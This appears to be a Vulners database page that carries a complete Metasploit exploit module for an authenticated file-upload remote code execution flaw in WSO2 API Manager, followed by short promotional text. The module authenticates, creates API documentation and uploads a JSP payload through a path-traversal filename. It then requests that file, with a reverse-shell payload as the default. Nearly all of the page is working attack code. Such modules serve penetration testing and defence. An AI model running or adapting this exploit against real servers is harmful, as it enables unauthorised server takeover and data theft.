Lucene search
K

WSO2 API Manager Documentation File Upload Remote Code Execution

Vulnerability in WSO2 API Manager allows file upload leading to remote code execution.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  attr_accessor :bearer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WSO2 API Manager Documentation File Upload Remote Code Execution',
        'Description' => %q{
          A vulnerability in the 'Add API Documentation' feature allows malicious users with specific permissions
          (`/permission/admin/login` and `/permission/admin/manage/api/publish`) to upload arbitrary files to a user-controlled
          server location. This flaw could be exploited to execute remote code, enabling an attacker to gain control over the server.
        },
        'Author' => [
          'Siebene@ <@Siebene7>', # Discovery
          'Heyder Andrade <@HeyderAndrade>', # metasploit module
          'Redway Security <redwaysecurity.com>' # Writeup and PoC
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'URL', 'https://github.com/redwaysecurity/CVEs/tree/main/WSO2-2023-2988' ], # PoC
          [ 'URL', 'https://blog.redwaysecurity.com/2024/11/wso2-4.2.0-remote-code-execution.html' ], # Writeup
          [ 'URL', 'https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2024/WSO2-2023-2988/' ]
        ],
        'DefaultOptions' => {
          'Payload' => 'java/jsp_shell_reverse_tcp',
          'SSL' => true,
          'RPORT' => 9443
        },
        'Platform' => %w[linux win],
        'Arch' => ARCH_JAVA,
        'Privileged' => false,
        'Targets' => [
          [
            'Automatic', {}
          ],
          [
            'WSO2 API Manager (3.1.0 - 4.0.0)', {
              'min_version' => '3.1.0',
              'max_version' => '4.0.9',
              'api_version' => 'v2'
            },
          ],
          [
            'WSO2 API Manager (4.1.0)', {
              'min_version' => '4.1.0',
              'max_version' => '4.1.9',
              'api_version' => 'v3'
            }
          ],
          [
            'WSO2 API Manager (4.2.0)', {
              'min_version' => '4.2.0',
              'max_version' => '4.2.9',
              'api_version' => 'v4'
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2024-05-31',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )
    register_options(
      [
        OptString.new('TARGETURI', [ true, 'Relative URI of WSO2 API manager', '/']),
        OptString.new('HttpUsername', [true, 'WSO2 API manager username', 'admin']),
        OptString.new('HttpPassword', [true, 'WSO2 API manager password', ''])
      ]
    )
  end

  def check
    vprint_status('Checking target...')

    begin
      authenticate
    rescue Msf::Exploit::Failed => e
      vprint_error(e.message)
      return Exploit::CheckCode::Unknown('Could not authenticate to the target')
    end
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'services', 'Version'),
      'method' => 'GET',
      'headers' => {
        'Authorization' => "Bearer #{bearer}"
      }
    )

    return CheckCode::Unknown('Target did not respond as expected; it may not be running WSO2 API Manager') unless res&.code == 200 && res&.headers&.[]('Server') =~ /WSO2/

    xml = res.get_xml_document
    xml.at_xpath('//return').text.match(/WSO2 API Manager-((?:\d\.){2}(?:\d))$/)
    version = Rex::Version.new ::Regexp.last_match(1)

    return CheckCode::Unknown('Unable to determine version') unless version

    return CheckCode::Safe("Detected WSO2 API Manager #{version} which is not vulnerable") unless version.between?(
      Rex::Version.new('3.1.0'), Rex::Version.new('4.2.9')
    )

    if target.name == 'Automatic'
      # Find the target based on the detected version
      selected_target_index = nil
      targets.each_with_index do |t, idx|
        if version.between?(Rex::Version.new(t.opts['min_version']), Rex::Version.new(t.opts['max_version']))
          selected_target_index = idx
          break
        end
      end

      return CheckCode::Unknown('Unable to automatically select a target. You might need to set the target manually') unless selected_target_index

      # Set the target
      datastore['TARGET'] = selected_target_index
      vprint_status("Automatically selected target: #{target.name} for version #{version}")
    else
      vprint_error("Mismatch between version found (#{version}) and module target version (#{target.name})") unless version.between?(
        Rex::Version.new(target.opts['min_version']), Rex::Version.new(target.opts['max_version'])
      )
    end

    report_vuln(
      host: rhost,
      name: name,
      refs: references,
      info: [version]
    )

    return CheckCode::Appears("Detected WSO2 API Manager #{version} which is vulnerable.")
  end

  def authenticate
    nounce = nil

    opts = {
      'uri' => normalize_uri(target_uri.path, '/publisher/services/auth/login'),
      'method' => 'GET',
      'headers' => {
        'Connection' => 'keep-alive'
      },
      'keep_cookies' => true
    }
    res = send_request_cgi!(opts, 20, 1) # timeout and redirect_depth

    if res&.get_cookies && res.get_cookies.match(/sessionNonceCookie-(.*)=/)
      vprint_status('Got session nonce')
      nounce = ::Regexp.last_match(1)
    end

    fail_with(Failure::UnexpectedReply, 'Failed to authenticate. Could not get session nonce') unless nounce

    auth_data = {
      'usernameUserInput' => datastore['HttpUsername'],
      'username' => datastore['HttpUsername'],
      'password' => datastore['HttpPassword'],
      'sessionDataKey' => nounce
    }

    opts = {
      'uri' => normalize_uri(target_uri.path, '/commonauth'),
      'method' => 'POST',
      'headers' => {
        'Connection' => 'keep-alive'
      },
      'keep_cookies' => true,
      'vars_post' => auth_data
    }

    res = send_request_cgi!(opts, 20, 2) # timeout and redirect_depth

    if res&.get_cookies && res.get_cookies.match(/:?WSO2_AM_TOKEN_1_Default=([\w|-]+);\s/)
      vprint_status('Got bearer token')
      self.bearer = ::Regexp.last_match(1)
    end

    fail_with(Failure::UnexpectedReply, 'Authentication attempt failed. Could not get bearer token') unless bearer

    print_good('Authentication successful')
  end

  def list_product_api
    vprint_status('Listing products APIs...')

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products'),
      'vars_get' => {
        'limit' => 10,
        'offset' => 0
      },
      'method' => 'GET',
      'headers' => {
        'Authorization' => "Bearer #{bearer}"
      }
    )

    fail_with(Failure::UnexpectedReply, 'Failed to list APIs') unless res&.code == 200

    api_list = res.get_json_document['list']

    if api_list.empty?
      print_error('No Products API available')
      print_status('Trying to create an API...')
      api_list = [create_product_api]
    end

    return api_list
  end

  def create_api
    api_data = {
      'name' => Faker::App.name,
      'description' => Faker::Lorem.sentence,
      'context' => "/#{Faker::Internet.slug}",
      'version' => Faker::App.version,
      'transport' => ['http', 'https'],
      'tags' => [Faker::ProgrammingLanguage.name],
      'policies' => ['Unlimited'],
      'securityScheme' => ['oauth2'],
      'visibility' => 'PUBLIC',
      'businessInformation' => {
        'businessOwner' => Faker::Name.name,
        'businessOwnerEmail' => Faker::Internet.email,
        'technicalOwner' => Faker::Name.name,
        'technicalOwnerEmail' => Faker::Internet.email
      },
      'endpointConfig' => {
        'endpoint_type' => 'http',
        'sandbox_endpoints' => {
          'url' => "https://#{target_uri.host}:#{datastore['RPORT']}/am/#{Faker::Internet.slug}/v1/api/"
        },
        'production_endpoints' => {
          'url' => "https://#{target_uri.host}:#{datastore['RPORT']}/am/#{Faker::Internet.slug}/v1/api/"
        }
      },
      'operations' => [
        {
          'target' => "/#{Faker::Internet.slug}",
          'verb' => 'GET',
          'throttlingPolicy' => 'Unlimited',
          'authType' => 'Application & Application User'
        }
      ]
    }

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/apis'),
      'method' => 'POST',
      'headers' => {
        'Authorization' => "Bearer #{bearer}"
      },
      'ctype' => 'application/json',
      'data' => api_data.to_json
    )

    fail_with(Failure::UnexpectedReply, 'Failed to create API') unless res&.code == 201

    print_good('API created successfully')
    return res.get_json_document
  end

  def create_product_api
    @api_id = create_api['id']

    product_api_data = {
      'name' => Faker::App.name,
      'context' => Faker::Internet.slug,
      'policies' => ['Unlimited'],
      'apis' => [
        {
          'name' => '',
          'apiId' => @api_id,
          'operations' => [],
          'version' => '1.0.0'
        }
      ],
      'transport' => ['http', 'https']
    }

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products'),
      'method' => 'POST',
      'headers' => {
        'Authorization' => "Bearer #{bearer}"
      },
      'ctype' => 'application/json',
      'data' => product_api_data.to_json
    )

    fail_with(Failure::UnexpectedReply, 'Failed to create API Product') unless res&.code == 201

    @api_created = true

    print_good('API Product created successfully')

    return res.get_json_document
  end

  def create_document(api_id)
    doc_data = {
      'name' => Rex::Text.rand_text_alpha(4..7),
      'type' => 'HOWTO',
      'summary' => Faker::Lorem.sentence,
      'sourceType' => 'FILE',
      'visibility' => 'API_LEVEL'
    }

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products/', api_id, '/documents'),
      'method' => 'POST',
      'headers' => {
        'Authorization' => "Bearer #{bearer}"
      },
      'ctype' => 'application/json',
      'data' => doc_data.to_json
    )

    unless res&.code == 201
      vprint_error("Failed to create document for API #{api_id}")
      return
    end

    print_good('Document created successfully')

    return res.get_json_document['documentId']
  end

  def upload_payload(api_id, doc_id)
    print_status('Uploading payload...')

    post_data = Rex::MIME::Message.new
    post_data.bound = rand_text_numeric(32)
    post_data.add_part(payload.encoded.to_s, 'text/plain', nil, "form-data; name=\"file\"; filename=\"../../../../repository/deployment/server/webapps/authenticationendpoint/#{jsp_filename}\"")

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products/', api_id, '/documents/', doc_id, '/content'),
      'method' => 'POST',
      'headers' => {
        'Authorization' => "Bearer #{bearer}"
      },
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'data' => post_data.to_s
    )
    fail_with(Failure::UnexpectedReply, 'Payload upload attempt failed') unless res&.code == 201

    register_file_for_cleanup("repository/deployment/server/webapps/authenticationendpoint/#{jsp_filename}")

    print_good("Payload uploaded successfully. File: #{jsp_filename}")

    return res
  end

  def execute_payload
    print_status('Executing payload... ')

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/authenticationendpoint/', jsp_filename),
      'method' => 'GET'
    )

    fail_with(Failure::UnexpectedReply, 'Payload execution attempt failed') unless res&.code == 200

    print_good('Payload executed successfully')

    handler
  end

  def exploit
    authenticate unless bearer
    api_avaliable = list_product_api
    api_avaliable.each do |product_api|
      @product_api_id = product_api['id']
      @doc_id = create_document(@product_api_id)
      next unless @doc_id

      res = upload_payload(@product_api_id, @doc_id)
      if res&.code == 201
        execute_payload
        break
      end
    end
  end

  def cleanup
    return unless session_created?

    super

    # If we have created the API, we need to delete it; thus the documentation
    return delele_product_api && delele_api if @api_created

    # If the API was already there, we deleted only the documentation.
    delete_document
  end

  def jsp_filename
    @jsp_filename ||= "#{rand_text_alphanumeric(8..16)}.jsp"
  end

  def delete_document
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products/', @api_id, '/documents/', @doc_id),
      'method' => 'DELETE',
      'headers' => {
        'Authorization' => "Bearer #{bearer}"
      }
    )

    return res&.code == 200
  end

  def delele_api
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/apis/', @api_id),
      'method' => 'DELETE',
      'headers' => {
        'Authorization' => "Bearer #{bearer}"
      }
    )
    return res&.code == 200
  end

  def delele_product_api
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products/', @product_api_id),
      'method' => 'DELETE',
      'headers' => {
        'Authorization' => "Bearer #{bearer}"
      }
    )
    return res&.code == 200
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation